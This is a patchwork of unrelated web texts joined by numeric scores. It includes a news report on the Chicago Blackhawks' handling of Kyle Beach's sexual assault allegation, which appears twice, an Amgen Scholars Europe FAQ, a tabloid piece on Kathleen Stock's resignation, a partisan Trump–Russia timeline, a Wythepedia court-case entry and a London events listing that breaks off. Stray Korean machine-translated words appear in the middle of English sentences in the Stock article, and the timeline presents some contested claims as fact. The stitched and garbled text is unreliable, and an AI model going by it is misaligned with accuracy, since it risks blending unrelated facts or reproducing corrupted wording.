else's."Beach also said he wanted to come forward and put his name on this."To be honest, it's already out there," Beach said to TSN. "The details were pretty accurate in the report, and it's been figured out. But more than that, I've been a survivor, I am a survivor. And I know I'm not alone. I know I'm not the only one, male or female. And I buried this for 10 years, 11 years. And it's destroyed me from the inside out."Following TSN's interview with Beach, the Blackhawks released a statement, saying the club commended Beach in coming forward."As an organization, the Chicago Blackhawks reiterate our deepest apologies to him for what he has gone through and for the organization's failure to promptly respond when he bravely brought this matter to light in 2010," the statement said. "It was inexcusable for the then-executives of the Blackhawks organization to delay taking action regarding the reported sexual misconduct. No playoff game or championship is more important than protecting our players and staff from predatory behavior."'Focus on the team and the playoffs'Blackhawks president of hockey operations and general manager Stan Bowman and senior vice president of hockey operations Al MacIsaac resigned Tuesday after their alleged roles in the matter were detailed in the investigation conducted by law firm Jenner & Block, LLP.According to the investigation report, MacIsaac, then the Blackhawks senior director of hockey administration, became aware of the incident on May 23, 2010, and dispatched team mental skills coach and team counselor Jim Gary to interview the player, who said that Aldrich had pressured him to have sex and threatened his career if he refused.Later that day, the investigation report said, a meeting of Blackhawks senior leadership was convened to discuss the situation.Bowman recalled, according to the investigation report, that then-president John McDonough and then-head coach Joel Quenneville "made comments about the challenge of getting to the Stanley Cup Finals and a desire to focus on the team and the playoffs." Just hours earlier, Chicago had won the Western Conference Championship to advance to the Stanley Cup Final. Quenneville currently is the head coach for the Florida Panthers.When discussing the situation years later with another team employee, MacIsaac said that McDonough wanted to avoid negative publicity during the playoffs. Bowman recalled McDonough telling the group he would handle the situation, according to the investigation report.But Aldrich continued to travel and work with the team, per the investigation report, throughout the playoffs, and the investigation found no sign that any action was taken to address the situation until June 14, after the season had ended. The Blackhawks' policy, at the time, was that all reports of sexual harassment would be investigated "promptly and thoroughly."The report said, "Our investigation uncovered no evidence, however, that McDonough or anyone else either contacted Human Resources or initiated an investigation between May 23 and June 14."During the interim, the Blackhawks won the Stanley Cup on June 9, and during a team celebration on June 10, Aldrich allegedly made a sexual advance toward a 22-year-old team intern. The intern rejected Aldrich's advance, but did not report the incident, the investigation report reads. It was not clear from the report how the alleged incident involving the intern ultimately came to light."The failure to promptly and thoroughly investigate the matter not only violated the Blackhawks' own sexual harassment policy in effect at the time, the decision to take no action from May 23 to June 14, 2010, had real consequences, including allegations involving an additional unwanted sexual advance by Aldrich to a Blackhawks' intern before he was ultimately separated from the Club," the NHL said.Aldrich was paid severance and had his name engraved on the Stanley CupOn June 14, 2010, McDonough informed team human resources about the incident and the May 23 team leadership meeting. McDonough said, according to the director of human resources, "it was decided that the group would not alert Human Resources or do anything about the incident during the playoffs so as not to disturb team chemistry." McDonough told investigators he did not recall this conversation.Nearly a decade later, the Blackhawks fired McDonough. The team did not state the reason for the firing on its press release last year. The team said, "it was the right decision for the future of the organization and its fans."The director of human resources met with Aldrich on June 16, 2010, offering him the option of an investigation of the incident with the unnamed player or resigning. Aldrich opted to resign and no team investigation was ever conducted, according to the investigation report.Aldrich received severance and a playoff bonus. His name was engraved on the Stanley Cup. He received a championship ring and was allowed to take the Stanley Cup to his hometown for a day, per the investigation report."The only way I could describe it was that I felt sick, I felt sick to my stomach," Beach told TSN of watching Aldrich interacting with the team when the Blackhawks won the Stanley Cup."I reported this and I was made aware that it made it all the way up the chain of command by 'Doc' Gary and nothing happened. It was like his life was the same as it was the day before. The same every day. And then when they won, to see him paraded around lifting the Cup, at the parade, at the team pictures, at celebrations, it made me feel like nothing. It made me feel like I didn't exist. It made me feel like, that I wasn't important and...it made me feel like he was in the right and I was wrong."CNN has reached out to MacIsaac, Quenneville, Aldrich and McDonough for comment. CNN has attempted to reach out to Gary for comment.In a statement Tuesday, Bowman said, "The team needs to focus on its future, and my continued participation would be a distraction. I think too much of this organization to let that happen." Bowman also stepped down from his position as general manager of the 2022 U.S. Olympic Men's Hockey Team, according to USA Hockey.The Blackhawks organization apologized to its fans in a letter published Tuesday, saying, "It is clear the organization and its executives at that time did not live up to our own standards or values in handling these disturbing incidents. We deeply regret the harm caused to John Doe and the other individuals who were affected and the failure to promptly respond. As an organization, we extend our profound apologies to the individuals who suffered from these experiences. We must — and will — do better." When he was 20 years old in 2010, Kyle Beach was pursuing his NHL dream when he was called up to the Chicago Blackhawks as a "Black Ace," a prospect player who could be available to play for the NHL club if needed. It was a couple of weeks later, Beach, now 31, said in an interview Wednesday with Canadian sports television station TSN, that his life "was changed forever." On Tuesday, the NHL announced it had fined the Blackhawks $2 million for what the league described as "the organization's inadequate internal procedures and insufficient and untimely response" relating to the team's handling of alleged incidents of sexual misconduct involving former video coach Brad Aldrich in 2010. The league says it punished the team following an independent investigation. Advertisement The Blackhawks commissioned a probe after a lawsuit was filed over the 2010 incident earlier this year by an unidentified hockey player, according to the report. The independent investigation determined that on May 8 or 9, 2010, there was a sexual encounter between Aldrich and the unidentified 20-year-old player, who was a member of the Blackhawks' minor league affiliate team, at Aldrich's apartment. The player alleged that Aldrich sexually assaulted him while Aldrich contended that the encounter was consensual, the report reads. Beach, who now plays professionally in Germany, has come forward as the "John Doe" in the report and as "John Doe" in the lawsuit. On Wednesday, he expressed "a great feeling of relief and vindication" and that "it was no longer my word against everybody else's." Beach also said he wanted to come forward and put his name on this. "To be honest, it's already out there," Beach said to TSN. "The details were pretty accurate in the report, and it's been figured out. But more than that, I've been a survivor, I am a survivor. And I know I'm not alone. I know I'm not the only one, male or female. And I buried this for 10 years, 11 years. And it's destroyed me from the inside out." Following TSN's interview with Beach, the Blackhawks released a statement, saying the club commended Beach in coming forward. "As an organization, the Chicago Blackhawks reiterate our deepest apologies to him for what he has gone through and for the organization's failure to promptly respond when he bravely brought this matter to light in 2010," the statement said. "It was inexcusable for the then-executives of the Blackhawks organization to delay taking action regarding the reported sexual misconduct. No playoff game or championship is more important than protecting our players and staff from predatory behavior." Chicago Tribune Blackhawks Kyle Beach, seen here on the bench in South Bend, Indiana, on September 12, 2013, reveals that he was the former Chicago Blackhawks player at the center of sex assault allegations against coach Brad Aldrich. 'Focus on the team and the playoffs' Blackhawks president of hockey operations and general manager Stan Bowman and senior vice president of hockey operations Al MacIsaac resigned Tuesday after their alleged roles in the matter were detailed in the investigation conducted by law firm Jenner & Block, LLP. According to the investigation report, MacIsaac, then the Blackhawks senior director of hockey administration, became aware of the incident on May 23, 2010, and dispatched team mental skills coach and team counselor Jim Gary to interview the player, who said that Aldrich had pressured him to have sex and threatened his career if he refused. Later that day, the investigation report said, a meeting of Blackhawks senior leadership was convened to discuss the situation. Bowman recalled, according to the investigation report, that then-president John McDonough and then-head coach Joel Quenneville "made comments about the challenge of getting to the Stanley Cup Finals and a desire to focus on the team and the playoffs." Just hours earlier, Chicago had won the Western Conference Championship to advance to the Stanley Cup Final. Quenneville currently is the head coach for the Florida Panthers. When discussing the situation years later with another team employee, MacIsaac said that McDonough wanted to avoid negative publicity during the playoffs. Bowman recalled McDonough telling the group he would handle the situation, according to the investigation report. But Aldrich continued to travel and work with the team, per the investigation report, throughout the playoffs, and the investigation found no sign that any action was taken to address the situation until June 14, after the season had ended. The Blackhawks' policy, at the time, was that all reports of sexual harassment would be investigated "promptly and thoroughly." The report said, "Our investigation uncovered no evidence, however, that McDonough or anyone else either contacted Human Resources or initiated an investigation between May 23 and June 14." During the interim, the Blackhawks won the Stanley Cup on June 9, and during a team celebration on June 10, Aldrich allegedly made a sexual advance toward a 22-year-old team intern. The intern rejected Aldrich's advance, but did not report the incident, the investigation report reads. It was not clear from the report how the alleged incident involving the intern ultimately came to light. "The failure to promptly and thoroughly investigate the matter not only violated the Blackhawks' own sexual harassment policy in effect at the time, the decision to take no action from May 23 to June 14, 2010, had real consequences, including allegations involving an additional unwanted sexual advance by Aldrich to a Blackhawks' intern before he was ultimately separated from the Club," the NHL said. 'Enough is enough': Team USA gymnasts slam FBI's handling of Larry Nassar case Aldrich was paid severance and had his name engraved on the Stanley Cup On June 14, 2010, McDonough informed team human resources about the incident and the May 23 team leadership meeting. McDonough said, according to the director of human resources, "it was decided that the group would not alert Human Resources or do anything about the incident during the playoffs so as not to disturb team chemistry." McDonough told investigators he did not recall this conversation. Nearly a decade later, the Blackhawks fired McDonough. The team did not state the reason for the firing on its press release last year. The team said, "it was the right decision for the future of the organization and its fans." The director of human resources met with Aldrich on June 16, 2010, offering him the option of an investigation of the incident with the unnamed player or resigning. Aldrich opted to resign and no team investigation was ever conducted, according to the investigation report. Aldrich received severance and a playoff bonus. His name was engraved on the Stanley Cup. He received a championship ring and was allowed to take the Stanley Cup to his hometown for a day, per the investigation report. "The only way I could describe it was that I felt sick, I felt sick to my stomach," Beach told TSN of watching Aldrich interacting with the team when the Blackhawks won the Stanley Cup. "I reported this and I was made aware that it made it all the way up the chain of command by 'Doc' Gary and nothing happened. It was like his life was the same as it was the day before. The same every day. And then when they won, to see him paraded around lifting the Cup, at the parade, at the team pictures, at celebrations, it made me feel like nothing. It made me feel like I didn't exist. It made me feel like, that I wasn't important and...it made me feel like he was in the right and I was wrong." CNN has reached out to MacIsaac, Quenneville, Aldrich and McDonough for comment. CNN has attempted to reach out to Gary for comment. In a statement Tuesday, Bowman said, "The team needs to focus on its future, and my continued participation would be a distraction. I think too much of this organization to let that happen." Bowman also stepped down from his position as general manager of the 2022 U.S. Olympic Men's Hockey Team, according to USA Hockey. The Blackhawks organization apologized to its fans in a letter published Tuesday, saying, "It is clear the organization and its executives at that time did not live up to our own standards or values in handling these disturbing incidents. We deeply regret the harm caused to John Doe and the other individuals who were affected and the failure to promptly respond. As an organization, we extend our profound apologies to the individuals who suffered from these experiences. We must — and will — do better." Good Housekeeping 58 Stocking Stuffers He's Guaranteed to Love 50 Clever Gifts for Teen Boys, No Matter What They're Into Walmart Just Announced Its Top Holiday Toys for 2021 60 Ultimate Gifts for Kids to Buy in 2021 Loading more articles... checked="checked"/> Copy Link Copy {copyShortcut} to copy Link copied! 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Amgen Scholars Europe Programme applicants must be: Undergraduate students enrolled in colleges or universities in Europe; and Undergraduate students who have not completed their bachelor’s or first degree (or its equivalent) prior to participating in the Programme. Europe Programme applicants must also have: A strong record of academic performance; and An interest in pursuing a Ph.D. Eligible students must attend colleges or universities in countries that are participating in the European Higher Education Area and Bologna Process. Click here to see a full list of participating countries. Do I need to be a citizen of one of the above European countries to apply to participate in the Amgen Scholars Programme in Europe? No. There is no citizenship requirement for the Amgen Scholars Programme in Europe. If applicable, am I required to obtain the appropriate visas to participate in the Amgen Scholars Programme in Europe? Each student is responsible for acquiring the necessary visas to attend his or her respective summer programme (in England, France, Germany, Sweden, or Switzerland) and the symposium in England. See each institution’s Amgen Scholars Programme website for more information. Can students who are spending only a short period of time – for instance, a semester or a year abroad – at European institutions of higher education apply to participate in the Amgen Scholars Programme in Europe? No. To be eligible, students must be currently enrolled at colleges or universities in Europe and must intend to earn their undergraduate degree at colleges or universities in Europe. Is there one application form for all of the host institutions in Europe? No. Each host institution in Europe has its own application process. Can I apply to more than one host institution in Europe? Yes. You can apply to as many host institutions in Europe as you are interested in, but each host institution does require a separate application. What is the application deadline for host institutions in Europe? In Europe, the application deadline for host institutions is in early February. Are there certain application requirements common to all host institutions in Europe? Yes. The application at each host institution in Europe requires, at a minimum, the submission of an official transcript, a letter of recommendation and a personal statement or essay. How do I apply? Information about applying to each host university is available by following the appropriate links to the host universities’ respective applications. Are the summer programme dates the same for all host institutions in Europe? No. All host institutions require a full-time commitment for eight to 10 weeks, with the programmes in Europe usually beginning in June or July and ending in August or September. The different starting and ending dates should help accommodate applicants’ varying school schedules. Note that most host institutions do not have flexibility with regard to the summer programme dates, but see each institution’s Amgen Scholars Programme website for more information. What is the expected number of Amgen Scholars participating annually at each host institution and in total in Europe? Each host institution in Europe will have approximately 15 Amgen Scholars each summer. With five host institutions in Europe, it is expected that there will be approximately 75 Amgen Scholars in Europe each summer. Do I need to attend the ETH Zürich, Institut Pasteur, Karolinska Institute, LMU Munich, or the University of Cambridge – or a college or university in Switzerland, Sweden, France, Germany or the UK – during the academic year to apply to the Amgen Scholars Programme in Europe? No. Eligible students enrolled at colleges and universities throughout Europe may apply. Note that eligible students must attend colleges or university in a country that is participating in the European Higher Education Area and Bologna Process. Click here to view the participating countries. What about housing, food and travel expenses to and from the summer programme in Europe? Financial support is a critical component of the Amgen Scholars Programme. Please note that details vary by host institution. See each institution’s Amgen Scholars Programme website for more information. Will there be an opportunity to meet Amgen Scholars participating in the Europe Programme at other host institutions, and to learn more about biotechnology and drug discovery and development? Yes. In September, each Amgen Scholar in Europe attends a symposium to hear firsthand from leading scientists working in industry and academia. The symposium is held in England at the University of Cambridge, and provides students with a valuable opportunity to network with other Amgen Scholars from across Europe. Is the cost of travel to and from the September symposium, as well as room and board at the symposium, covered by the Programme? Yes. Can I apply to participate in the Amgen Scholars Programme in Europe if science or engineering is not the main subject area of my degree? Yes. Though it is expected that the majority of Amgen Scholars will have science or engineering as the main subject area of their degrees, students in any subject area may apply. Do I need to have research experience prior to being admitted to the Programme in Europe? No. The Amgen Scholars Programme encourages applications from both students experienced in research and newcomers to the field. For students who attend colleges and universities that have limited opportunities for students to conduct research, the Programme is a great way to gain such experience. Which areas of academic research will the Programme offer? Areas of potential focus include any disciplines related to the discovery, development, manufacture and delivery of human therapeutics, as well as the overall biomedical and biotechnology enterprise. Note that the terminology used to define research disciplines may vary across universities and countries. Please see each institution’s Amgen Scholars Programme website for more information. When will I find out whether I've been accepted into the Programme in Europe? Applicants to host institutions in Europe should be notified by early April. Can I participate as an Amgen Scholar for more than one summer? No. Students are invited to participate as an Amgen Scholar for one summer only. This ensures that each summer a new cohort of 75 Amgen Scholars in Europe will have the opportunity to benefit from this type of hands-on research experience. Can I apply to participate as an Amgen Scholar in both the U.S. as well as in Europe, Australia, or Canada? No. Students are invited to apply to participate as an Amgen Scholar at colleges or universities in either the U.S., Europe, Australia, or Canada, primarily based on where they are currently enrolled and intend to receive their undergraduate degrees. See the Eligibility sections of this website for further details and information. Can I apply to participate as an Amgen Scholar in both Europe and Asia? Yes. The Asia Programme is open to undergraduates worldwide, so students eligible to apply to the Europe (or U.S., Australia, or Canada) Programme may indeed be eligible to apply for the Asia Programme as well. See the Eligibility sections of this website for further details and information. If I am not selected this year, can I apply again? Yes. As long as you continue to meet the eligibility criteria, you can certainly apply again. Whom do I contact with questions about the Amgen Scholars Programme in Europe? Visit the Contact Us section of this website. The European Higher Education Area (EHEA) members are as follows: Albania Andorra Armenia Austria Azerbaijan Belarus Belgium Bosnia-Herzegovina Bulgaria Croatia Cyprus Czech Republic Denmark Estonia Finland France Georgia Germany Greece Holy See Hungary Iceland Ireland Italy Kazakhstan Latvia Liechtenstein Lithuania Luxembourg Malta Moldova Montenegro Netherlands Norway Poland Portugal Romania Russian Federation Serbia Slovak Republic Slovenia Spain Sweden Switzerland the former Yugoslav Republic of Macedonia Turkey Ukraine United Kingdom Amgen Scholars is an international program funded by the Amgen Foundation with direction and technical assistance provided by Harvard University.
0.991985	Academics warn universities should stop pandering to students who must be told to ‘accept academic freedoms or LEAVE’ after professor was ‘hounded out’ of her role in trans row Professor Kathleen Stock quite her job over accusations of transphobia Academics have been up in arms over the row, which included death threats They say universities should tell students they are not there to protect feelings Students should be told that universities are not there to protect their feelings, academics claimed today after a professor resigned over her views on gender. Professor Kathleen Stock, 48, an expert in gender and sexual orientation, quit her job at the University of Sussex this week after a ‘bullying and harassment’ campaign labelled her a ‘transphobe’. And appalled colleagues are up in arms, demanding that students are told in freshers’ week that universities are there to hold up academic freedom. Professor Michael Biggs, an expert in sociology at Oxford University, said the blame for the ‘ludicrous’ culture at education institutions lies with the universities themselves, not ‘young and immature’ 재학생. Students should be told that universities are not there to protect their feelings, academics claimed today. 사진: Professor Kathleen Stock, 48, an expert in gender and sexual orientation, quit this week after a ‘bullying and harassment’ campaign labelled her a ‘transphobe’ Professor Stock received death threats as a result of her ‘transphobia’ — an accusation she denies 이전 1 다음 Trans activists celebrate after feminist professor Kathleen… Feminist professor Kathleen Stock QUITS University of Sussex… 그녀 자신의 말로: What does Kathleen Stock believe about gender and trans issues? Kathleen Stock explained her views on trans issues in written evidence to Parliament in November 2020 여기: Womanhood and manhood reflect biological sex, not gender or gender identity; The claim ‘transwomen are women’ is a fiction, not literally true; Sexual orientation (being gay, being lesbian) is determined by same-sex attraction, not attraction to gender identity; Spaces where women undress and sleep should remain genuinely single-sex, in order to protect them; Children with gender identity disorders should not be given puberty blockers as minors. 광고 그는 말했다 데일리 텔레그래프: ‘Instead of endlessly pandering to the students, universities need to make it very, very clear in the inductions, in Freshers’ 주, that the institution exists to uphold academic freedom. And if they are unhappy about that, they need to leave.’ Professor Stock received death threats as a result of her ‘transphobia’ — an accusation she denies. The philosophy professor was at the centre of a blazing row — and a student-led protest — at the university after saying she believes gender identity does not outweigh biological sex ‘when it comes to law and policy’. She also said that people cannot change their biological sex, sparking anger from protesters. Professor Stock quit her job on Thursday, saying it had been ‘a difficult few years’ and that she hoped other universities could learn from what had happened. Professor Alice Sullivan, a sociologist at University College London, 말했다: ‘I think what happened at Sussex is absolutely disastrous. It’s a complete failure of management. ‘The fact that Kathleen has been hounded out of her job is a scalp for the bullies and will embolden them to try and do the same thing again.’ Posters put up in the tunnel from Falmer station to the university’s campus earlier this month said she ‘makes trans students unsafe’ and ‘we’re not paying £9,250 a year for transphobia’. Banners saying ‘Stock Out’ had also been held alongside burning flares and scores of people were criticising her online under the Twitter hashtag #ShameOnSussexUni. Professor Stock said on social media that she was ‘sad to announce’ she is leaving. 그녀가 말했다: ‘This has been a very difficult few years, but the leadership’s approach more recently has been admirable and decent. ‘I hope that other institutions in similar situations can learn from this. ‘Am particularly glad to see University emphasising that bullying and harassment anyone for their legally held beliefs is unacceptable in their workplace.’ 그녀는 덧붙였다: ‘This has been an absolutely horrible time for me and my family. I’m putting it behind me now. On to brighter things soon, I hope.’ Professor Stock has previously said she is ‘at odds’ with a large section of academics because she believes gender identity is not more important than facts about biological sex, ‘particularly when it comes to law and policy’. 범주: 셀렉스 태그: Academicsuniversities, shouldpanderingstudents 당신은 또한 좋아할 수 있습니다 Royal Horticultural Society changes Britain in Bloom judging criteria 셀렉스 38 분 ...전에 7 견해0 코멘트0 좋아요 Britain in Bloom goes woke as hanging baskets and fancy floral displays are shunned in favour of eco-friendly wild hedges as charity strives to turn the contest 'green'Britain in Bloom has inspired thousands of peopl... Duchess of Cambridge ‘left in tears after confronting Meghan Markle’ 셀렉스 38 분 ...전에 1 견해0 코멘트0 좋아요 Duchess of Cambridge was left in tears after confronting Meghan Markle over 'bullying of Palace staff' just days before the royal wedding, Kirstie Allsopp claimsDuchess of Cambridge was reportedly left in tears after... Shamed MP Claudia Webbe bought £500 dining room chairs on expenses 셀렉스 38 분 ...전에 1 견해0 코멘트0 좋아요 Convicted MP Claudia Webbe will be allowed to keep £500 dining chairs if she is kicked out of ParliamentClaudia Webbe is facing a recall election after being convicted of harassment She purchased four velvet covered... Police to get millions in extra funding to crack down on county lines 셀렉스 38 분 ...전에 1 견해0 코멘트0 좋아요 Police to get millions in extra funding to crack down on county lines drug gangs as PM vows to 'cut the heads off the snakes' behind miseryPrime Minister expected to announce millions of pounds in funding for police ... 댓글이 닫혀 있습니다.. 태그 약 후 에 맞서 전에 존재 바이든 보리스 영국 영국인 크리스마스 주장 할 수 있었다 코로나 죽음 운전사 동안 가족 발견 먼저 녹이다 집 존슨 폐쇄 런던 메건 백만 순간 어머니 사람들 경찰 왕자 공주님 계시하다 학교 주식 쇼 연구 그들의 세 지우다 백신 비디오 여자 여자들 연령
0.98269	Trump campaign officials and associates were in frequent contact with Russian intelligence in the year before the US election. [NY Times] [NY Times] Carter Page, a national security adviser for the Trump, travels to Russia, gives a speech critical of US policy. Page met secretly with Igor Sechin, CEO of Russian gas giant Rosneft and friend of Putin, who offer substantial brokerage fees for Rosneft stock. [NY Times] [CNN] [BusinessInsider] Paul Manafort, Carter Page and Russian Ambassador Kislyak meet at the Republican National Convention. Jeff Sessions, met with the Russian ambassador while working on the Trump campaign. Senator Sessions later testified under oath that he had not met with the Russians. [NY Times] As Attorney General, he has recused himself from overseeing the investigation into Trump's Russian connections. Jared Kushner, Trump son-in-law and advisor, tried to setup a "back channel" communication system so that members of the Trump administration could communicate with Russia without US Intelligence agencies being able to monitor the calls. [PBS] Quid Pro Quo Trump said to the Russian government, during a speech, that Russia would be rewarded if they found the 30,000 Hillary emails. [video] US intelligence reports that Russia was behind hack of DNC computers and leaks of Hillary's emails, which helped Trump win. [CNN] Trump suggests he may lift sanctions against Russia if Russia helps defeat ISIS. [CNN] Trump has extensive business connections with Russia, including loans. [Time] National intelligence agencies (CIA, FBI) have concluded that Russia acted to influence the US election in Trump's favor. Trump appoints Rex Tillerson as Secretary of State. Tillerson has extensive ties with Russia and was awarded the Russian Order of Friendship in 2012. [CNN] Tillerson was CEO of Exxon, which stands to gain billions of dollars from Russian oil deals if sanctions are lifted. [NY Times] US Intelligence briefed both Trump and Obama on evidence that the Russian government was trying to blackmail Trump. There was reportedly a video recorded in 2013 when Trump was visiting Moscow for a Miss Universe pageant. [CNN] FBI Investigation In 2016 the FBI started an investigation to determine whether Trump was a Russian agent, or an unwitting accomplice. [< a>] 3/20/2017 - Rep. Adam Schiff (D), in his opening remarks gave a great summary of the known facts related to the Russian Connection. FBI DIrector James Comey confirms that the FBI is investigating possible collusion between Trump and the Russia government. During the hearing, Republicans focussed more on plugging the leaks then on investigating Trump. 5/17/2017 - Robert S Mueller III was appointed as Special Prosecutor to investigate the connection between Russia and the Trump White House. [LATimes] 10/30/2017 - Mueller charges Trump's former campaign chairman Paul Manafort, and his associate Rick Gates, with money laundering. George Papadoupolis, a foreign policy advisor for Trump, was charged with lying to the FBI about his Russian contacts. [NYTimes] 12/1/2017 - Michael Flynn, former Trump national security advisor, pled guilty to charges of making false statements to the FBI. [NYTimes] 2/22/2018 - Mueller charges Paul Manafort with fraud by disguising $10M of income as non-taxable. [NYTimes] Other Investigations Rep. Devin Nunes, the Republican Chair of the House investigating committee, sees new evidence but does not share it with his Democratic counterparts on the committee. He then cancels a hearing scheduled for March 28. Nunes, a former Trump adviser, has briefed Trump on the committee's work and seems to be working for Trump. [Independant]
0.999741	Maze v. Hamilton, Wythe 51 (1789), was a case involving a dispute over 400 acres of land in Greenbrier County.[1] Background James Maze claimed 400 acres of land in Greenbrier County in 1764 through settlement, along with the right of preemption (the right to take priority over other parties in claiming land). William Hamilton claimed the same land based on settlement - Hamilton said he bought part of the land from John Tackett, who Hamilton said had settled the land with Maze - and based on a survey by the Greenbrier Company which Hamilton said was taken in 1774, but which seemed to have actually been taken in 1775. In 1779, Maze presented his claim to a special court of commissioners, which awarded the 400 acres of land and preemption rights for 500 adjacent acres to Hamilton in January 1780. Maze filed a caveat, asking to temporarily bar any land grants based on the commissioners' decision, and in October 1782, the General Court of Virginia reversed the commissioners court and ordered that a grant for the 400 acres plus preemption rights for 1000 acres be awarded to Maze. Hamilton appealed to the Virginia Court of Appeals, which granted the appeal on April 30, 1783. On October 29, 1783, the Court of Appeals dismissed the appeal, stating that the General Court had the final word on decisions about caveats filed against commissioners' decisions. On October 30, 1783, the Court of Appeals restored the appeal, then dismissed it for good on November 1, 1783. On May 2, 1783, however, the Supreme Court of Appeals handed down an opinion stating that all surveys taken before 1776 should be confirmed and land should be granted according to those surveys. As a result, on November 5, 1783, the Commonwealth awarded 1100 acres to Hamilton, including the land Maze had won in the General Court. Maze filed a bill in the High Court of Chancery, claiming fraud. The Court's Decision The High Court of Chancery declared that the General Court had supreme jurisdiction over this issue and therefore equal authority to the Court of Appeals on the topic, and that since the General Court handed its decision down before the Court of Appeals did, the General Court's decision was final. Furthermore, the Court of Chancery said, since Maze was not party to the Court of Appeals decision making all surveys before 1776 official, it did not apply to him. Therefore, the High Court of Chancery found that the land grant Hamilton obtained after the Supreme Court's May 2, 1783, decision was fraudulent, and it nullified the grant of any land to Hamilton which included land awarded to Maze by the General Court back in October 1782. The High Court of Chancery directed Maze to pay the Greenbrier Company £3 as compensation for every 100 acres he reclaimed from Greenbrier's surveyed property. Wythe's Discussion References ↑ George Wythe, Decisions of Cases in Virginia by the High Court of Chancery, (Richmond: Printed by Thomas Nicolson, 1795), 51. Retrieved from "http://lawlibrary.wm.edu/wythepedia/index.php?title=Maze_v._Hamilton&oldid=3180" Category: Cases Navigation menu Personal tools Log in Namespaces Page Discussion Variants Views Read View source View history More Search Main Page About George Wythe Court Decisions George Wythe Room Letters & Papers Wythe's Library Index About About Wythepedia Help Tools What links here Related changes Special pages Printable version Permanent link Page information Links The Wolf Law Library Flickr pictures W&M libraries catalog W&M Law School Wythe Podcast This page has been accessed 6,222 times. Content is available under Creative Commons Attribution Non-Commercial Share Alike unless otherwise noted.
0.956623	Rhys Ifans is Atticus Finch as To Kill A Mockingbird comes to London in May 2020, Pet Shop Boys bring their greatest hits to The O2 and the Regent's Park Open Air Theatre season begins with a brand new musical of 101 Dalmatians. Filter by category: Show All On Point: Royal Academy of Dance at 100 The V&A celebrates the significant contribution that RAD has made to British ballet. On Point: Royal Academy of Dance at 100 Victoria and Albert (V & A) Museum, Cromwell Road London, SW7 2RL Exhibitions Victoria and Albert (V & A) Museum, Cromwell Road, London, SW7 2RL Tube: South Kensington Station Dates: 01st May - 06th February 2021 Enlarge Close In 2020, the V&A celebrates the significant contribution that the Royal Academy of Dance has made to the development of British ballet over the past hundred years. On Point: Royal Academy of Dance at 100 sees the museum explore the company's history through a display of costumes, designs and photographs from the RAD's archive and the V&A's Theatre & Performance Collection. Highlights include original ballet costumes and accessories worn by RAD founders and Presidents along with audio-visual footages, original photographs, letter, programmes and posters. Breakin' Convention The world's greatest poppers, lockers, B-boys and B-girls appear at the two-day festival. Breakin' Convention Sadler's Wells Theatre, Rosebery Avenue London, EC1R 4TN Dance Sadler's Wells Theatre, Rosebery Avenue, London, EC1R 4TN Tube: Angel Station Dates: 02nd - 03rd May 2020 Enlarge Close Taking place every May bank holiday weekend, the annual two-day international festival of hip hop and dance theatre, curated by Sadler's Wells associate artist Jonzi D, is back for a 17th year in 2020. Featuring performances from some of the world's greatest poppers, lockers, B-boys and B-girls, the line-up for this year's Breakin' Convention includes the return of South Korea's Jinjo Crew, "experts at whipping a packed house into a frenzied appreciation" (The Times), and France's Geometrie Variable, who explore a style resembling the inner mechanics of a timepiece. UK-based Spoken Movement, which was part of Dance Elargie: Dance Expanded here in October 2019, also joins the line-up. The festival takes over the whole Sadler's Wells space with dance workshops, graffiti, DJs and freestyle sessions taking place all over the building. Canalway Cavalcade The distinctive waterway festival returns for another year. Canalway Cavalcade Little Venice, Maida Vale London, W2 1TH Exhibitions Little Venice, Maida Vale, Little Venice, London, W2 1TH Tube: Warwick Avenue Station Dates: 02nd - 03rd May 2020 Enlarge Close Canalway Cavalcade is a distinctive waterway festival that has been taking place at Little Venice since 1983. Organised by Inland Waterways Association volunteers, there will be an array of boats, trade show stalls and boater gatherings at this festival for water lovers. As well as the boating activities, there will also be Morris dancing, competitions, food, a real ale bar and family-friendly activities making it an enjoyable day out for families. Plus, with the location being quaint Little Venice, this creates the perfect opportunity for a gentle stroll and an enjoyable view alongside your lunch and ale. Ross Noble: Humournoid Improvisational comedy and random musings from the popular comedian. Ross Noble: Humournoid London Palladium, 8 Argyll Street London, W1F 7TF Comedy London Palladium, 8 Argyll Street, London, W1F 7TF Tube: Oxford Circus Station Dates: 03rd May 2020 Enlarge Close Known for his improvisational comedy and random musings, Ross Noble returns to London with his brand-new UK tour, Humournoid. A radio and TV regular with appearances on BBC's QI and Have I Got News for You and Radio 4's Just a Minute and Britain in Bits, the comedian is renowned for his surreal and offbeat humour, and he will no doubt have the audience at the London Palladium howling with laughter. Sneakers Unboxed: Studio to Street Go behind the scenes of the design process of the most innovative trainers on the market. Sneakers Unboxed: Studio to Street Design Museum, 224-238 Kensington High Street London, W8 6AG Exhibitions Design Museum, 224-238 Kensington High Street, London, W8 6AG Tube: High Street Kensington Station Dates: 06th May - 04th December 2020 Enlarge Close Looking at their role as both a style statement and a high-tech fitness accessory, the Design Museum puts trainers in the spotlight with its new exhibition, Sneakers Unboxed: Studio to Street. With designs by the likes of Nike, Adidas and Puma as well as Colette and Comme des Garcons on display, the exhibition explores how sneakers have transformed our relationship with sportswear and developed into one of the biggest industries in the world - the reselling market worth is $2 billion. Visitors can go behind the scenes of the industry to explore the design process for the most innovative footwear including self-lacing, 3D printed and 100% recyclable trainers. The Watsons Laura Wade's pithy comedy adapted from Jane Austen's unfinished novel comes to the West End. The Watsons Harold Pinter Theatre, 6 Panton Street London, SW1Y 4DN Theatre Harold Pinter Theatre, 6 Panton Street, London, SW1Y 4DN Tube: Piccadilly Circus Station , Leicester Square Station Dates: 08th May - 26th September 2020 Enlarge Close Adapted from Jane Austen's unfinished novel and "joyously directed" (Evening Standard) by Samuel West, The Watsons comes to the West End's Harold Pinter Theatre from Chichester via a hugely successful run at the Menier Chocolate Factory. "Jane Austen has never been quite as much fun as this before" said The Times review of Laura Wade's pithy comedy. The playwright herself appears to take on a role as halfway through the action a writer called Laura disguised as a maid interrupts the action. A "meta-theatrical free-for-all" (Standard), this "self-referential comedy... keeps you guessing until the last second" (The Times). Photo London One of the biggest photography events of the year. Photo London Somerset House, Strand London, WC2R 1LA Exhibitions Somerset House, Strand, Covent Garden, London, WC2R 1LA Tube: Temple Station Dates: 14th - 17th May 2020 Enlarge Close A line-up of the world's top galleries come to Somerset House for four days in May when Photo London returns to the capital for a sixth year. Renowned as one of the biggest photography events of the year, the showcase is not only a selling fair but also includes special exhibitions, installations and a curated programme of talks and presentations along with daily sixty minute tours giving knowledgeable insight into the fair. The 2020 line-up is yet to be announced. 101 Dalmatians Open Air Theatre commissions a brand new musical with a cast of canine characters played by puppets. 